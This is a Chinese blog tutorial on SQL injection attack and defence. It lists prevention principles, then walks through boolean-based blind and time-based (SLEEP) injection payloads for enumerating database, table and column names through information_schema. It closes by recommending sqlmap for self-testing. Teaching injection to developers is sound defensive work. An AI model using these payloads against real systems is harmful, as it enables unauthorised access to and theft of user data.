vlambda博客
学习文章列表

SQL注入的攻防策略

什么是SQL注入?

SQL注入风险,是攻击者利用请求参数这样一个入口,拼接上自己的恶意SQL语句,根据错误提示信息、执行时长等信息,窥探数据库的库名、表结构和数据,拿到用户数据,再提权控制整个后端系统。

SQL注入是一种最流行的web应用程序漏洞,特别是一些小的web平台,没有经过严格的测试流程,安全问题十分堪忧。虽然数据库本身的技术在发展,web端的技术和框架也在日新月异的更迭,仍然无法完全杜绝此类漏洞。

预防SQL注入的原则

  • 永远不要信任用户的输入。可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。

  • 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

  • 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

  • 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

一、基于BOOL条件注入

1、猜测闭合字符

假如我们有下面一行普通的sql查询,查询用户表中,以a开头的用户,用户余额小于100元的

 SELECT * FROM t_users WHERE username LIKE 'a%' and money < 100.00

如果我们没有对用户名做严格校验,前端传的不是a,而是a',就会发生下面的情况

 SELECT * FROM t_users WHERE username LIKE 'a'%' and money < 100.00

如果返回错误页面,这个用户名是用单引号'括起来的,如果传入的是双引号,是不会报错的

下面我们把后面的内容都注释掉,使用两个减号--

 SELECT * FROM t_users WHERE username LIKE 'a' -- %' and money < 100.00

这样sql又恢复了正常,这个时候,我们就可以在这里插入一些容易报错的sql来探寻数据库的结构

2、猜测查询列数
 SELECT * FROM t_users WHERE username LIKE 'a' ORDER BY 3 -- %' and money < 100.00

order by num 如果报错,说明num已经超过表的column列数,这样就可以知道当前的表的column列数

 SELECT * FROM t_users WHERE username LIKE 'a' UNION SELECT 1,2,3 -- %' and money < 100.00

如果表的column是3列,这样就不会报错,否则就会报错,也从侧面印证了表的列数是3列

3、猜测数据库长度和数据库名字

先猜测数据库的长度

 SELECT * FROM t_users WHERE username LIKE 'a%' AND LENGTH(DATABASE()) > 10 -- %' and money < 100.00

如果页面返回了正常的数据,说明数据库长度是大于5的,没有任何数据返回,说明条件错误

再依次猜测每个字符的ascii码

 SELECT * FROM t_users WHERE username LIKE 'a%' AND (ASCII(SUBSTR(DATABASE(),1,1))) > 97 -- %' and money < 100.00

如果页面返回了正常的数据,说明第一个ascii码不是a(97),依此类推,长度多少就猜多少次

4、猜测数据库中表的个数和每个表的名字
 SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE()) > 1 -- %' and money < 100.00

正常返回,说明大于1个表,依次增加,直到错误为止

 SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) > 5 -- %' and money < 100.00

这样可以查询出第一个表的名称的长度,修改limit 0, 1这个分页,可以查出所有的表名称的长度

 SELECT * FROM t_users WHERE username LIKE 'a%' AND (ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))) > 97 -- %' and money < 100.00

猜测第一个表名称的第一个字母的ascii码,依次类推

 SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='t_users') > 3 -- %' and money < 100.00

猜测t_users表的列数

 SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name='t_users' LIMIT 0,1) > 1 -- %' and money < 100.00

猜测t_users表的第一列的长度

 SELECT * FROM t_users WHERE username LIKE 'a%' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='t_users' LIMIT 0,1),1,1)) > 97 -- %' and money < 100.00

猜测t_users表的第一列的每个ascii码的字符

二、基于执行时间注入

如果基于BOOL条件注入页面不报错,也没有其他特征,那么可以在BOOL条件的基础上添加sleep来做判断。if(c,a,b),如果c为真执行a,否则执行b,然后将b替换为sleep(10)

 SELECT * FROM t_users WHERE username LIKE 'a%' AND IF(LENGTH(DATABASE()) > 4, 1, SLEEP(5)) -- and money < 100.00

将上面的基于BOOL注入获取数据库名称长度的sql稍加改造,即可获取。如果长度不大于4,就会延迟5秒。

同理,其他各项的注入,都可以通过这种方式加入if判断再延迟,即可轻松获取。

三、借助工具实现快速检测

sqlmap是一种自动化的sql注入检测工具,非常方便的检测api接口是否存在sql注入的漏洞。

burpsuite是一种拦截浏览器数据的工具,结合sqlmap使用起来事半功倍。

总结

大家开发完项目以后,最好使用sqlmap对自己的项目扫描一次,以防止出现SQL注入漏洞。